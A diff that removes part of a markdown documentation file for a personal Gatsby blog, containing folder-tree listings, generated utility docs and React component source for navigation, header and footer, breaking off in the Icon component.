-│   │   │   ├── ./pages/docs/quick-reference/Emmet.md
-│   │   │   ├── ./pages/docs/quick-reference/docs.md
-│   │   │   ├── ./pages/docs/quick-reference/index.md
-│   │   │   ├── ./pages/docs/quick-reference/installation.md
-│   │   │   └── ./pages/docs/quick-reference/new-repo-instructions.md
-│   │   ├── ./pages/docs/react
-│   │   │   ├── ./pages/docs/react/createReactApp.md
-│   │   │   ├── ./pages/docs/react/index.md
-│   │   │   └── ./pages/docs/react/react2.md
-│   │   ├── ./pages/docs/react-in-depth.md
-│   │   ├── ./pages/docs/sitemap.md
-│   │   └── ./pages/docs/tools
-│   │       ├── ./pages/docs/tools/index.md
-│   │       ├── ./pages/docs/tools/notes-template.md
-│   │       ├── ./pages/docs/tools/plug-ins.md
-│   │       └── ./pages/docs/tools/vscode.md
-│   ├── ./pages/index.md
-│   ├── ./pages/notes-template.md
-│   ├── ./pages/review.md
-│   └── ./pages/showcase.md
-├── ./sass
-│   ├── ./sass/imports
-│   │   ├── ./sass/imports/_animations.scss
-│   │   ├── ./sass/imports/_buttons.scss
-│   │   ├── ./sass/imports/_docs.scss
-│   │   ├── ./sass/imports/_footer.scss
-│   │   ├── ./sass/imports/_forms.scss
-│   │   ├── ./sass/imports/_functions.scss
-│   │   ├── ./sass/imports/_general.scss
-│   │   ├── ./sass/imports/_header.scss
-│   │   ├── ./sass/imports/_helpers.scss
-│   │   ├── ./sass/imports/_icons.scss
-│   │   ├── ./sass/imports/_palettes.scss
-│   │   ├── ./sass/imports/_posts.scss
-│   │   ├── ./sass/imports/_prism.scss
-│   │   ├── ./sass/imports/_reset.scss
-│   │   ├── ./sass/imports/_sections.scss
-│   │   ├── ./sass/imports/_structure.scss
-│   │   ├── ./sass/imports/_tables.scss
-│   │   └── ./sass/imports/_variables.scss
-│   └── ./sass/main.scss
-├── ./templates
-│   ├── ./templates/advanced.js
-│   ├── ./templates/blog.js
-│   ├── ./templates/docs.js
-│   ├── ./templates/page.js
-│   └── ./templates/post.js
-└── ./utils
-    ├── ./utils/attribute.js
-    ├── ./utils/classNames.js
-    ├── ./utils/cycler.js
-    ├── ./utils/getData.js
-    ├── ./utils/getPage.js
-    ├── ./utils/getPageByFilePath.js
-    ├── ./utils/getPages.js
-    ├── ./utils/htmlToReact.js
-    ├── ./utils/index.js
-    ├── ./utils/link.js
-    ├── ./utils/markdownify.js
-    ├── ./utils/pathJoin.js
-    ├── ./utils/toStyleObj.js
-    ├── ./utils/toUrl.js
-    └── ./utils/withPrefix.js
-
-21 directories, 119 files
-bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
-```
-
----
-
-## Source Code
-
-<details>
-<summary>  Folder Structure (src)  </summary>
-
-```
-.
-├── Combined_____-_____Doc.md
-├── components
-│     ├── ActionLink.js
-│     ├── CtaButtons.js
-│     ├── DarkToggle
-│     │     ├── index.js
-│     │     └── styles.js
-│     ├── DocsMenu.js
-│     ├── DocsSubmenu.js
-│     ├── Footer.js
-│     ├── Header.js
-│     ├── Icon.js
-│     ├── Layout.js
-│     ├── SectionContent.js
-│     ├── SectionCta.js
-│     ├── SectionDocs.js
-│     ├── SectionGrid.js
-│     ├── SectionHero.js
-│     ├── Submenu.js
-│     ├── global.css
-│     └── index.js
-├── data
-│     └── doc_sections.yml
-├── hooks
-│     ├── addScript.js
-│     ├── index.js
-│     ├── useDarkMode.js
-│     ├── useEventListener.js
-│     ├── useMediaQuery.js
-│     ├── useOnClickOutside.js
-│     ├── useQueryParam.js
-│     ├── useSize.js
-│     └── useStorage.js
-├── html.js
-├── pages
-│     ├── blog
-│     │     ├── 300-react-questions.md
-│     │     ├── awesome-graphql.md
-│     │     ├── big-o-complexity.md
-│     │     ├── blog-archive.md
-│     │     ├── blogwcomments.md
-│     │     ├── data-structures.md
-│     │     ├── flow-control-in-python.md
-│     │     ├── functions-in-python.md
-│     │     ├── git-gateway.md
-│     │     ├── index.md
-│     │     ├── interview-questions-js.md
-│     │     ├── netlify-cms.md
-│     │     ├── platform-docs.md
-│     │     ├── python-for-js-dev.md
-│     │     ├── python-resources.md
-│     │     ├── web-dev-trends.md
-│     │     └── web-scraping.md
-│     ├── docs
-│     │     ├── about
-│     │     │     ├── eng-portfolio.md
-│     │     │     ├── ideas-for-this-website.md
-│     │     │     ├── index.md
-│     │     │     ├── intrests.md
-│     │     │     ├── job-search.md
-│     │     │     └── resume.md
-│     │     ├── articles
-│     │     │     ├── basic-web-dev.md
-│     │     │     ├── buffers.md
-│     │     │     ├── dev-dep.md
-│     │     │     ├── event-loop.md
-│     │     │     ├── fs-module.md
-│     │     │     ├── how-the-web-works.md
-│     │     │     ├── http.md
-│     │     │     ├── index.md
-│     │     │     ├── install.md
-│     │     │     ├── intro.md
-│     │     │     ├── modules.md
-│     │     │     ├── nextjs.md
-│     │     │     ├── node-api-express.md
-│     │     │     ├── node-cli-args.md
-│     │     │     ├── node-common-modules.md
-│     │     │     ├── node-env-variables.md
-│     │     │     ├── node-js-language.md
-│     │     │     ├── node-package-manager.md
-│     │     │     ├── node-repl.md
-│     │     │     ├── node-run-cli.md
-│     │     │     ├── nodejs.md
-│     │     │     ├── nodevsbrowser.md
-│     │     │     ├── npm.md
-│     │     │     ├── npx.md
-│     │     │     ├── os-module.md
-│     │     │     ├── reading-files.md
-│     │     │     ├── semantic-html.md
-│     │     │     ├── semantic.md
-│     │     │     ├── the-uniform-resource-locator-(url).md
-│     │     │     ├── understanding-firebase.md
-│     │     │     ├── v8.md
-│     │     │     ├── web-standards-checklist.md
-│     │     │     ├── webdev-tools.md
-│     │     │     └── writing-files.md
-│     │     ├── audio
-│     │     │     ├── audio-feature-extraction.md
-│     │     │     ├── audio.md
-│     │     │     ├── dfft.md
-│     │     │     ├── discrete-fft.md
-│     │     │     ├── dtw-python-explained.md
-│     │     │     ├── dynamic-time-warping.md
-│     │     │     ├── index.md
-│     │     │     └── web-audio-api.md
-│     │     ├── career
-│     │     │     ├── dev-interview.md
-│     │     │     ├── index.md
-│     │     │     ├── interview-dos-n-donts.md
-│     │     │     └── job-boards.md
-│     │     ├── community
-│     │     │     ├── an-open-letter-2-future-developers.md
-│     │     │     ├── index.md
-│     │     │     └── video-chat.md
-│     │     ├── content
-│     │     │     ├── algo.md
-│     │     │     ├── archive.md
-│     │     │     ├── gatsby-Queries-Mutations.md
-│     │     │     ├── history-api.md
-│     │     │     ├── index.md
-│     │     │     ├── main-projects.md
-│     │     │     └── trouble-shooting.md
-│     │     ├── data-structures
-│     │     │     └── index.md
-│     │     ├── docs
-│     │     │     ├── appendix.md
-│     │     │     ├── art-of-command-line.md
-│     │     │     ├── bash.md
-│     │     │     ├── content.md
-│     │     │     ├── css.md
-│     │     │     ├── data-structures-docs.md
-│     │     │     ├── es-6-features.md
-│     │     │     ├── git-reference.md
-│     │     │     ├── git-repos.md
-│     │     │     ├── html-spec.md
-│     │     │     ├── index.md
-│     │     │     ├── markdown.md
-│     │     │     ├── no-whiteboarding.md
-│     │     │     ├── node-docs-complete.md
-│     │     │     ├── node-docs-full.md
-│     │     │     ├── regex-in-js.md
-│     │     │     └── sitemap.md
-│     │     ├── faq
-│     │     │     ├── contact.md
-│     │     │     ├── index.md
-│     │     │     └── plug-ins.md
-│     │     ├── gists.md
-│     │     ├── index.md
-│     │     ├── interact
-│     │     │     ├── callstack-visual.md
-│     │     │     ├── clock.md
-│     │     │     ├── index.md
-│     │     │     ├── jupyter-notebooks.md
-│     │     │     ├── other-sites.md
-│     │     │     └── video-chat.md
-│     │     ├── interview
-│     │     │     ├── index.md
-│     │     │     ├── job-search-nav.md
-│     │     │     └── review-concepts.md
-│     │     ├── javascript
-│     │     │     ├── arrow-functions.md
-│     │     │     ├── asyncjs.md
-│     │     │     ├── await-keyword.md
-│     │     │     ├── bigo.md
-│     │     │     ├── clean-code.md
-│     │     │     ├── constructor-functions.md
-│     │     │     ├── index.md
-│     │     │     ├── promises.md
-│     │     │     ├── review.md
-│     │     │     └── this-is-about-this.md
-│     │     ├── leetcode
-│     │     │     └── index.md
-│     │     ├── privacy-policy.md
-│     │     ├── projects
-│     │     │     ├── embeded-websites.md
-│     │     │     ├── index.md
-│     │     │     ├── list-of-projects.md
-│     │     │     ├── mini-projects.md
-│     │     │     └── my-websites.md
-│     │     ├── python
-│     │     │     ├── at-length.md
-│     │     │     ├── cheat-sheet.md
-│     │     │     ├── comprehensive-guide.md
-│     │     │     ├── examples.md
-│     │     │     ├── flow-control.md
-│     │     │     ├── functions.md
-│     │     │     ├── google-sheets-api.md
-│     │     │     ├── index.md
-│     │     │     ├── intro-for-js-devs.md
-│     │     │     ├── python-ds.md
-│     │     │     └── snippets.md
-│     │     ├── quick-reference
-│     │     │     ├── Emmet.md
-│     │     │     ├── all-emojis.md
-│     │     │     ├── create-react-app.md
-│     │     │     ├── git-bash.md
-│     │     │     ├── git-tricks.md
-│     │     │     ├── google-firebase.md
-│     │     │     ├── heroku-error-codes.md
-│     │     │     ├── index.md
-│     │     │     ├── installation.md
-│     │     │     ├── markdown-dropdowns.md
-│     │     │     ├── minifiction.md
-│     │     │     ├── new-repo-instructions.md
-│     │     │     ├── psql-setup.md
-│     │     │     ├── pull-request-rubric.md
-│     │     │     ├── quick-links.md
-│     │     │     ├── topRepos.md
-│     │     │     ├── understanding-path.md
-│     │     │     └── vscode-themes.md
-│     │     ├── react
-│     │     │     ├── ajax-n-apis.md
-│     │     │     ├── cheatsheet.md
-│     │     │     ├── createReactApp.md
-│     │     │     ├── demo.md
-│     │     │     ├── dont-use-index-as-keys.md
-│     │     │     ├── index.md
-│     │     │     ├── jsx.md
-│     │     │     ├── react-docs.md
-│     │     │     ├── react-in-depth.md
-│     │     │     ├── react2.md
-│     │     │     └── render-elements.md
-│     │     ├── reference
-│     │     │     ├── awesome-lists.md
-│     │     │     ├── awesome-static.md
-│     │     │     ├── bash-commands.md
-│     │     │     ├── bookmarks.md
-│     │     │     ├── embed-the-web.md
-│     │     │     ├── github-search.md
-│     │     │     ├── google-cloud.md
-│     │     │     ├── how-2-reinstall-npm.md
-│     │     │     ├── how-to-kill-a-process.md
-│     │     │     ├── index.md
-│     │     │     ├── installing-node.md
-│     │     │     ├── intro-to-nodejs.md
-│     │     │     ├── notes-template.md
-│     │     │     ├── psql.md
-│     │     │     ├── resources.md
-│     │     │     ├── vscode.md
-│     │     │     └── web-api's.md
-│     │     ├── search.md
-│     │     ├── sitemap.md
-│     │     ├── tips
-│     │     │     ├── array-methods.md
-│     │     │     ├── index.md
-│     │     │     └── insert-into-array.md
-│     │     ├── tools
-│     │     │     ├── Archive.md
-│     │     │     ├── data-structures.md
-│     │     │     ├── dev-utilities.md
-│     │     │     ├── index.md
-│     │     │     └── markdown-html.md
-│     │     └── tutorials
-│     │         ├── enviorment-setup.md
-│     │         └── index.md
-│     ├── index.md
-│     ├── privacy-policy.md
-│     ├── readme.md
-│     └── showcase.md
-├── sass
-│     ├── imports
-│     │     ├── _animations.scss
-│     │     ├── _buttons.scss
-│     │     ├── _docs.scss
-│     │     ├── _footer.scss
-│     │     ├── _forms.scss
-│     │     ├── _functions.scss
-│     │     ├── _general.scss
-│     │     ├── _header.scss
-│     │     ├── _helpers.scss
-│     │     ├── _icons.scss
-│     │     ├── _palettes.scss
-│     │     ├── _posts.scss
-│     │     ├── _prism.scss
-│     │     ├── _reset.scss
-│     │     ├── _sections.scss
-│     │     ├── _structure.scss
-│     │     ├── _tables.scss
-│     │     └── _variables.scss
-│     └── main.scss
-├── templates
-│     ├── advanced.js
-│     ├── blog.js
-│     ├── docs.js
-│     ├── page.js
-│     ├── post.js
-│     └── templates.md
-└── utils
-    ├── attribute.js
-    ├── blm-badge.js
-    ├── classNames.js
-    ├── cycler.js
-    ├── getData.js
-    ├── getPage.js
-    ├── getPageByFilePath.js
-    ├── getPages.js
-    ├── htmlToReact.js
-    ├── index.js
-    ├── link.js
-    ├── markdownify.js
-    ├── pathJoin.js
-    ├── toStyleObj.js
-    ├── toUrl.js
-    └── withPrefix.js
-
-32 directories, 272 files
-```
-
-</details>
-
-<details>
-<summary>  Click To See Component Sourcecode  </summary>
-
-## Component Structure
-
-```
-.
-├── ActionLink.js
-├── CtaButtons.js
-├── DarkToggle
-│     ├── index.js
-│     └── styles.js
-├── DocsMenu.js
-├── DocsSubmenu.js
-├── Footer.js
-├── Header.js
-├── Icon.js
-├── Layout.js
-├── SectionContent.js
-├── SectionCta.js
-├── SectionDocs.js
-├── SectionGrid.js
-├── SectionHero.js
-├── Submenu.js
-├── global.css
-└── index.js
-
-```
-
----
-
-```js
-import React from 'react';
-import _ from 'lodash';
-
-
-import { Link, withPrefix, classNames } from '../utils';
-import Icon from './Icon';
-
-export default class ActionLink extends React.Component {
-    render() {
-        let action = _.get(this.props, 'action', null);
-        return (
-            <Link
-                to={withPrefix(_.get(action, 'url', null))}
-                {...(_.get(action, 'new_window', null) ? { target: '_blank' } : null)}
-                {...(_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)
-                    ? {
-                          rel: (_.get(action, 'new_window', null) ? 'noopener ' : '') + (_.get(action, 'no_follow', null) ? 'nofollow' : '')
-                      }
-                    : null)}
-                className={classNames({
-                    button: _.get(action, 'style', null) !== 'link',
-                    'button-secondary': _.get(action, 'style', null) === 'secondary',
-                    'button-icon': _.get(action, 'style', null) === 'icon'
-                })}
-            >
-                {_.get(action, 'style', null) === 'icon' && _.get(action, 'icon_class', null) ? (
-                    <React.Fragment>
-                        <Icon {...this.props} icon={_.get(action, 'icon_class', null)} />
-                        <span className="screen-reader-text"> {_.get(action, 'label', null)}</span>
-                    </React.Fragment>
-                ) : (
-                    _.get(action, 'label', null)
-                )}
-            </Link>
-        );
-    }
-}
-```
-
----
-### Table of Contents
-
--   [getPage][1]
-    -   [Parameters][2]
--   [getPageByFilePath][3]
-    -   [Parameters][4]
--   [getPages][5]
-    -   [Parameters][6]
-    -   [Examples][7]
-
-## getPage
-
-Get the page at the provided `urlPath`.
-
-### Parameters
-
--   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
--   `urlPath` **[string][9]** The url path to find the page by
-
-Returns **[Object][10]**
-
-## getPageByFilePath
-
-Get the page at the provided `filePath`.
-
-### Parameters
-
--   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
--   `filePath` **[string][9]** The file path to find the page by
-
-Returns **[Object][10]**
-
-## getPages
-
-Get all the pages located under the provided `urlPath`, not including the
-index page. I.e.: All pages having their URLs start with `urlPath` excluding
-the page having its URL equal to `urlPath`.
-
-### Parameters
-
--   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
--   `urlPath` **[string][9]** The url path to filter pages by
-
-### Examples
-
-```javascript
-pages => [
-  {url: '/'},
-  {url: '/about'},
-  {url: '/posts'},
-  {url: '/posts/hello'},
-  {url: '/posts/world'}
-]
-
-getPages(pages, /posts')
-=> [
-  {url: '/posts/hello'},
-  {url: '/posts/world'}
-]
-```
-
-Returns **[Array][8]**
-
-[1]: #getpage
-[2]: #parameters
-[3]: #getpagebyfilepath
-[4]: #parameters-1
-[5]: #getpages
-[6]: #parameters-2
-[7]: #examples
-[8]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array
-[9]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String
-[10]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object
-
-
-
-```js
-import React from 'react';
-import _ from 'lodash';
-
-
-import { Link, withPrefix, classNames } from '../utils';
-
-export default class CtaButtons extends React.Component {
-    render() {
-        let actions = _.get(this.props, 'actions', null);
-        return _.map(actions, (action, action_idx) => (
-            <Link
-                key={action_idx}
-                to={withPrefix(_.get(action, 'url', null))}
-                {...(_.get(action, 'new_window', null) ? { target: '_blank' } : null)}
-                {...(_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)
-                    ? {
-                          rel: (_.get(action, 'new_window', null) ? 'noopener ' : '') + (_.get(action, 'no_follow', null) ? 'nofollow' : '')
-                      }
-                    : null)}
-                className={classNames({
-                    button: _.get(action, 'style', null) === 'primary' || _.get(action, 'style', null) === 'secondary',
-                    'button-secondary': _.get(action, 'style', null) === 'secondary'
-                })}
-            >
-                {_.get(action, 'label', null)}
-            </Link>
-        ));
-    }
-}
-```
-
----
-
-```js
-import React from 'react';
-import _ from 'lodash';
-
-
-import { getPage, classNames, Link, withPrefix, pathJoin, getPages } from '../utils';
-import DocsSubmenu from './DocsSubmenu';
-
-export default class DocsMenu extends React.Component {
-    render() {
-        let site = _.get(this.props, 'site', null);
-        let page = _.get(this.props, 'page', null);
-        let root_docs_path = _.get(site, 'data.doc_sections.root_docs_path', null);
-        let root_page = getPage(this.props.pageContext.pages, root_docs_path);
-        return (
-            <nav id="docs-nav" className="docs-nav">
-                <div id="docs-nav-inside" className="docs-nav-inside sticky">
-                    <button id="docs-nav-toggle" className="docs-nav-toggle">
-                        Navigate Docs
-                        <span className="icon-angle-right" aria-hidden="true" />
-                    </button>
-                    <div className="docs-nav-menu">
-                        <ul id="docs-menu" className="docs-menu">
-                            <li
-                                className={classNames('docs-menu-item', {
-                                    current: _.get(page, 'url', null) === _.get(root_page, 'url', null)
-                                })}
-                            >
-                                <Link to={withPrefix(_.get(root_page, 'url', null))}> {_.get(root_page, 'frontmatter.title', null)}</Link>
-                            </li>
-                            {_.map(_.get(site, 'data.doc_sections.sections', null), (section, section_idx) => {
-                                let section_path = pathJoin(root_docs_path, section);
-                                let section_page = getPage(this.props.pageContext.pages, section_path);
-                                let child_pages = _.orderBy(getPages(this.props.pageContext.pages, section_path), 'frontmatter.weight');
-                                let child_count = _.size(child_pages);
-                                let has_children = child_count > 0 ? true : false;
-                                let is_current_page = _.get(page, 'url', null) === _.get(section_page, 'url', null) ? true : false;
-                                let is_active = _.get(page, 'url', null).startsWith(_.get(section_page, 'url', null));
-                                return (
-                                    <React.Fragment key={section_idx + '.1'}>
-                                        <li
-                                            key={section_idx}
-                                            className={classNames('docs-menu-item', {
-                                                'has-children': has_children,
-                                                current: is_current_page,
-                                                active: is_active
-                                            })}
-                                        >
-                                            <Link to={withPrefix(_.get(section_page, 'url', null))}> {_.get(section_page, 'frontmatter.title', null)}</Link>
-                                            {has_children && (
-                                                <React.Fragment>
-                                                    <button className="docs-submenu-toggle">
-                                                        <span className="screen-reader-text"> Submenu</span>
-                                                        <span className="icon-angle-right" aria-hidden="true" />
-                                                    </button>
-                                                    <DocsSubmenu {...this.props} child_pages={child_pages} page={page} site={site} />
-                                                </React.Fragment>
-                                            )}
-                                        </li>
-                                    </React.Fragment>
-                                );
-                            })}
-                        </ul>
-                    </div>
-                </div>
-            </nav>
-        );
-    }
-}
-```
-
----
-
-```js
-import React from 'react';
-import _ from 'lodash';
-
-
-import { classNames, Link, withPrefix } from '../utils';
-
-export default class DocsSubmenu extends React.Component {
-    render() {
-        let child_pages = _.get(this.props, 'child_pages', null);
-        let page = _.get(this.props, 'page', null);
-        return (
-            <ul className="docs-submenu">
-                {_.map(child_pages, (child_page, child_page_idx) => (
-                    <li
-                        key={child_page_idx}
-                        className={classNames('docs-menu-item', {
-                            current: _.get(page, 'url', null) === _.get(child_page, 'url', null)
-                        })}
-                    >
-                        <Link to={withPrefix(_.get(child_page, 'url', null))}> {_.get(child_page, 'frontmatter.title', null)}</Link>
-                    </li>
-                ))}
-            </ul>
-        );
-    }
-}
-```
-
----
-
-```js
-import _ from 'lodash';
-import React from 'react';
-
-import { htmlToReact } from '../utils';
-import ActionLink from './ActionLink';
-import addScript from './../hooks/addScript';
-const Script = (props) => {
-    importScript('./../hooks/addScript.js');
-};
-export default class Footer extends React.Component {
-    render() {
-        return (
-            <footer id="colophon" className="site-footer outer">
-                <div>
-                    <center>
-                        <br />
-
-                        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />
-
-                        <br />
-
-                        <table cellPadding={0} cellSpacing={0} border={0}>
-                            <tbody>
-                                <tr>
-                                    <td
-                                        style={{
-                                            fontFamily: 'Arial, Helvetica, sans-serif',
-                                            fontSize: '7.5pt'
-                                        }}
-                                    >
-                                        <center>
-                                            <table
-                                                width="95%"
-                                                cellPadding={0}
-                                                cellSpacing={0}
-                                                border={0}
-                                                style={{
-                                                    fontFamily: 'Arial, Helvetica, sans-serif',
-                                                    fontSize: '7.5pt'
-                                                }}
-                                            >
-                                                <tbody>
-                                                    <tr>
-                                                        <td
-                                                            style={{
-                                                                fontFamily: 'Arial, Helvetica, sans-serif',
-                                                                fontSize: '7.5pt'
-                                                            }}
-                                                            align="left"
-                                                        >
-                                                            <a target="_blank" href="https://search.freefind.com/siteindex.html?si=14588965">
-                                                                index
-                                                            </a>
-                                                        </td>
-                                                        <td
-                                                            style={{
-                                                                fontFamily: 'Arial, Helvetica, sans-serif',
-                                                                fontSize: '7.5pt'
-                                                            }}
-                                                            align="center"
-                                                        >
-                                                            <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&m=0&p=0">
-                                                                sitemap
-                                                            </a>
-                                                        </td>
-                                                        <td
-                                                            style={{
-                                                                fontFamily: 'Arial, Helvetica, sans-serif',
-                                                                fontSize: '7.5pt'
-                                                            }}
-                                                            align="right"
-                                                        >
-                                                            <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&pid=a">
-                                                                advanced
-                                                            </a>
-                                                        </td>
-                                                    </tr>
-                                                </tbody>
-                                            </table>
-                                        </center>
-
-                                        <form
-                                            style={{
-                                                margin: '0px',
-                                                marginTop: '2px'
-                                            }}
-                                            action="https://search.freefind.com/find.html"
-                                            method="get"
-                                            acceptCharset="utf-8"
-                                            target="_self"
-                                        >
-                                            <input type="hidden" name="si" defaultValue={14588965} />
-                                            <input type="hidden" name="pid" defaultValue="r" />
-                                            <input type="hidden" name="n" defaultValue={0} />
-                                            <input type="hidden" name="_charset_" defaultValue />
-                                            <input type="hidden" name="bcd" defaultValue="÷" />
-                                            <input type="text" name="query" size={15} />
-                                            <input type="submit" defaultValue="search" />
-                                        </form>
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td
-                                        style={{
-                                            textAlign: 'center',
-                                            fontFamily: 'Arial, Helvetica, sans-serif',
-                                            fontSize: '7.5pt',
-                                            paddingTop: '4px'
-                                        }}
-                                    >
-                                        <a
-                                            style={{
-                                                textDecoration: 'none',
-                                                color: 'transparent'
-                                            }}
-                                            href="https://www.freefind.com"
-                                            rel="nofollow"
-                                        >
-                                            search engine
-                                        </a>
-                                        <a
-                                            style={{
-                                                textDecoration: 'none',
-                                                color: 'transparent'
-                                            }}
-                                            href="https://www.freefind.com"
-                                            rel="nofollow"
-                                        >
-                                            by
-                                            <span style={{ color: 'transparent' }}> freefind</span>
-                                        </a>
-                                        {
-                                            <iframe
-                                                src="https://bgoonz.github.io/fb-and-twitter-api-embeds/"
-                                                frameborder="0"
-                                                id="social-embed"
-                                                width="100%!important"
-                                            >
-                                                {' '}
-                                            </iframe>
-                                        }
-                                    </td>
-                                </tr>
-                            </tbody>
-                        </table>
-                        <a href="//pdfcrowd.com/url_to_pdf/?" onclick="if(!this.p)href+='&url='+encodeURIComponent(location.href);this.p=1">
-                            Save to PDF
-                        </a>
-                    </center>
-                </div>
-
-                <div className="inner">
-                    <div id="search" className="inner">
-                        {' '}
-                    </div>
-                    <div className="site-footer-inside">
-                        <p className="site-info">
-                            {_.get(this.props, 'pageContext.site.siteMetadata.footer.content', null) && (
-                                <span className="copyright"> {htmlToReact(_.get(this.props, 'pageContext.site.siteMetadata.footer.content', null))}</span>
-                            )}
-                            {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.links', null), (action, action_idx) => (
-                                <ActionLink key={action_idx} {...this.props} action={action} />
-                            ))}{' '}
-                        </p>
-                        {_.get(this.props, 'pageContext.site.siteMetadata.footer.has_social', null) && (
-                            <div className="social-links">
-                                {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.social_links', null), (action, action_idx) => (
-                                    <ActionLink key={action_idx} {...this.props} action={action} />
-                                ))}{' '}
-                            </div>
-                        )}{' '}
-                    </div>
-                </div>
-            </footer>
-        );
-    }
-}
-```
-
----
-
-```js
-import React from 'react';
-import _ from 'lodash';
-
-
-import { Link, withPrefix, classNames } from '../utils';
-import ActionLink from './ActionLink';
-import Submenu from './Submenu';
-
-export default class Header extends React.Component {
-    render() {
-        return (
-            <header id="masthead" className="site-header outer">
-                {/* <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />  */}
-
-                <br />
-
-                <div className="inner">
-                    <div className="site-header-inside">
-                        <div className="site-branding">
-                            {_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img', null) ? (
-                                <p className="site-logo">
-                                    <Link to={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.url', null) || '/')}>
-                                        <img
-                                            src={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img', null))}
-                                            alt={_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img_alt', null)}
-                                        />
-                                    </Link>
-                                </p>
-                            ) : (
-                                <p className="site-title">
-                                    {' '}
-                                    WebDevHub
-                                    <Link to={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.url', null) || '/')}>
-                                        {_.get(this.props, 'pageContext.site.siteMetadata.header.title', null)}
-                                    </Link>
-                                </p>
-                            )}
-                        </div>
-                        <div id="search" className="inner">
-                            {' '}
-                        </div>
-                        {_.get(this.props, 'pageContext.site.siteMetadata.header.has_nav', null) && (
-                            <React.Fragment>
-                                <nav id="main-navigation" className="site-navigation" aria-label="Main Navigation">
-                                    <div className="site-nav-inside">
-                                        <button id="menu-close" className="menu-toggle">
-                                            <span className="screen-reader-text"> Open Menu</span>
-                                            <span className="icon-close" aria-hidden="true" />
-                                        </button>
-                                        <ul className="menu">
-                                            {_.map(_.get(this.props, 'pageContext.site.siteMetadata.header.nav_links', null), (action, action_idx) => {
-                                                let page_url = _.trim(_.get(this.props, 'pageContext.url', null), '/');
-                                                let action_url = _.trim(_.get(action, 'url', null), '/');
-                                                return (
-                                                    <li
-                                                        key={action_idx}
-                                                        className={classNames('menu-item', {
-                                                            'has-children': _.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null),
-                                                            current: page_url === action_url,
-                                                            'menu-button': _.get(action, 'style', null) !== 'link'
-                                                        })}
-                                                    >
-                                                        <ActionLink {...this.props} action={action} />
-                                                        {_.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null) && (
-                                                            <React.Fragment>
-                                                                <button className="submenu-toggle">
-                                                                    <span className="icon-angle-right" aria-hidden="true" />
-                                                                    <span className="screen-reader-text"> Sub-menu</span>
-                                                                </button>
-                                                                <Submenu
-                                                                    {...this.props}
-                                                                    submenu={_.get(action, 'subnav_links', null)}
-                                                                    menu_class={'submenu'}
-                                                                    page={this.props.pageContext}
-                                                                />
-                                                            </React.Fragment>
-                                                        )}
-                                                    </li>
-                                                );
-                                            })}
-                                        </ul>
-                                    </div>
-                                </nav>
-                                <button id="menu-open" className="menu-toggle">
-                                    <span className="screen-reader-text"> Close Menu</span>
-                                    <span className="icon-menu" aria-hidden="true" />
-                                </button>
-                            </React.Fragment>
-                        )}
-                    </div>
-                </div>
-
-                <div>
-                    <a className="github-corner" href="https://github.com/bgoonz/BGOONZ_BLOG_2.0" aria-label="View source on Github">
-                        <svg
-                            aria-hidden="true"
-                            width={40}
-                            height={40}
-                            viewBox="0 0 250 250"
-                            style={{
-                                zIndex: 100000,
-                                fill: 'black',
-                                color: '#fff',
-                                position: 'fixed',
-                                top: '0px',
-                                border: 0,
-                                left: '0px',
-                                transform: 'scale(-1.5, 1.5)'
-                            }}
-                        >
-                            <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"> </path>
-                            <path
-                                className="octo-arm"
-                                d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
-                                fill="currentColor"
-                                style={{ transformOrigin: '130px 106px' }}
-                            >
-                                {' '}
-                            </path>
-                            <path
-                                className="octo-body"
-                                d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
-                                fill="currentColor"
-                            >
-                                {' '}
-                            </path>
-                        </svg>
-                    </a>
-                </div>
-            </header>
-        );
-    }
-}
-```
-
----
-
-```js
-import React from 'react';
-import _ from 'lodash';
-
-export default class Icon extends React.Component {
-    render() {
-        let icon = _.get(this.props, 'icon', null);
-        return (
-            <svg className="icon" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-                {icon === 'dev' ? (
